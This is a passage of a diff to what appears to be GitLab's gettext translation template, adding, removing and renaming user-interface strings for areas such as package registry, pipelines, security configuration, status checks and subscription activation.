+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
